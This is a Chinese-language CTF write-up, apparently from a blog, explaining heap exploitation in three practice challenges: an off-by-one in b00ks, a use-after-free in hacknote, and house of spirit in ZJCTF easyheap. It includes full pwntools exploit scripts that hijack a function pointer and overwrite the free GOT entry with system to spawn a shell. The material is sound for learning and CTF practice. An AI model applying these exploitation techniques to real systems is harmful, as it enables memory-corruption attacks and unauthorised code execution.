(off by one+uaf+house of spirit)Asis CTF 2016 b00ks+hacknote+ZJctf—easyheap

(off by one+uaf+house of spirit)Asis CTF 2016 b00ks+hacknote+ZJctf—easyheap_第1张图片

这道题的溢出点在这里,break的判断的条件是=,从0开始如果循环次数没有减一那就会溢出,明显在输入作者名是会溢出

经过程序的执行很清楚的可以看出,作者名和图书的连在一起就会是图书的第一位溢出。

(off by one+uaf+house of spirit)Asis CTF 2016 b00ks+hacknote+ZJctf—easyheap_第2张图片

可以看到在图书指针的地位由于溢出多了变0了,于是我们便去寻找0x0000555555757700可以指向谁(我们这里是直接假设name为128,des为32),可以看到

第一本书的des就正好为我们改变指针的位置,意味着可以修改第一本书 的des为任意内容,下面的步骤就是扩展mmap后写入第二本书的name和des,在伪造第一本书指向第二本书,在print第一本书的内容我们就可以泄露libc,从而找到libc_base来利用我们的free_hook,和one——gadget函数。

值得注意的是,在计算libc——base时最好用p/x直接在脚本动态gdb里算(好像是过段时间这个偏移都不同),不然容易算错,同时注意指针的指向地址内容改写,是改内容不是地址

UAF-hitcontraining_uaf

uaf整体思路是销毁堆的时候没有销毁指针,就是利用这个指针来改变执行流程

指针没有销毁很重要!

简单的分析后可以看到fastbin的fd指针恰好为计数malloc的print函数地址,所以我们直接在第二次free堆后重新malloc由于先进后出的原则我们得到的是第二次malloc的堆,而他的fd指针就是指向第一次malloc printf函数地址,而malloc的+4内容指针又恰好为fd指针,所以我们就可以利用它来改变malloc第一次的printf函数为后面函数当我们再次执行printf打印时就可以了。

(off by one+uaf+house of spirit)Asis CTF 2016 b00ks+hacknote+ZJctf—easyheap_第3张图片

from pwn import*
#p=remote("node4.buuoj.cn",28624)
p=process("./hacknote")
context.log_level="Debug"
elf=ELF("hacknote")
libc=ELF("libc-2.23.so")

system=0x08048945

def add(size,context):
	p.recvuntil("Your choice :")
	p.sendline('1')
	p.recvuntil("Note size :")
	p.sendline(str(size))
	p.recvuntil("Content :")
	p.sendline(context)


# def print(index):
# 	p.recvuntil("Your choice :")
# 	p.sendline("3")
# 	p.recvuntil("Index :")
# 	p.sendline("index")

def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))


add(16,"aaaaaaaaaaaaaaaa")
add(16,"bbbbbbbbbbbbbbbb")
delete(0)
delete(1)


add(8,p32(system))

gdb.attach(p)
p.interactive()

 house of spirit [ZJCTF 2019]EasyHeap

这套题的特点为在free掉堆块以后同时销毁了指针,于是我们就不能使用uaf来构造,这里就涉及到到house of spirit其实说到底就是伪造堆块,改变fd指针指向,从而构造我们链同时没开relro保护。

总体思路就是利用edit这一函数由于可以自己设置溢出大小我们直接覆盖布置已经free掉的堆块,使他fd指针指向堆块计数数组,用free——got覆盖0号堆块的指针,同时0号指针内容edit为system这样就改变了执行流,之后我们再free我们布置的1号堆块布置的bin/sh。

重点在于调试还有,在伪造的布局上,我们需要size 的amp的p位为1因为fastbin是无法合并的,只有一个一个去找,找到了7f,这个提示我们以后在构造堆块时尽量size为0x68左右这样的话大小恰好符合同时f的最一位比特也是1.

但是这道题以我的观点来说有问题,在本地调试的时候明明fd指针应该在size也就是7f后的一个单位,并且能够打通,可是远程时候fd指正却变成了previous size的位置。

from pwn import*
p=process("./easyheap")
#p=remote("node4.buuoj.cn",26942)
#context.log_level="Debug"
context(os="linux",arch="amd64")
elf=ELF("./easyheap")

free_got = elf.got['free']
system=0x0000000000400C23
#printf_plt=elf.plt['puts']

def add(size,context):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap:")
	p.send(context)

def edit(index,size,context):
    p.recvuntil("Your choice :")		
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recv()
    #p.recvuntil("Content of heap:")
    p.sendline(context)

def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))

#target 00000000006020E0
add(0x68,"aaaaaaaa")
add(0x68,"bbbbbbbb")
add(0x68,"cccccccc")
delete(2)

payload = "/bin/sh\x00"+'a'*0x60+p64(0x71)+p64(0x6020ad)#具体的0x6020ad还是0x602bd需要调试
edit(1,len(payload),payload)
#edit()
#delete(1)
#delete(2)
add(0x68,'aaaa') 
add(0x68,"a"*35+p64(free_got))
print"free_got--->"+hex(free_got)

payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

delete(1)

#gdb.attach(p)
p.interactive()

你可能感兴趣的:(buu刷题记录,pwn)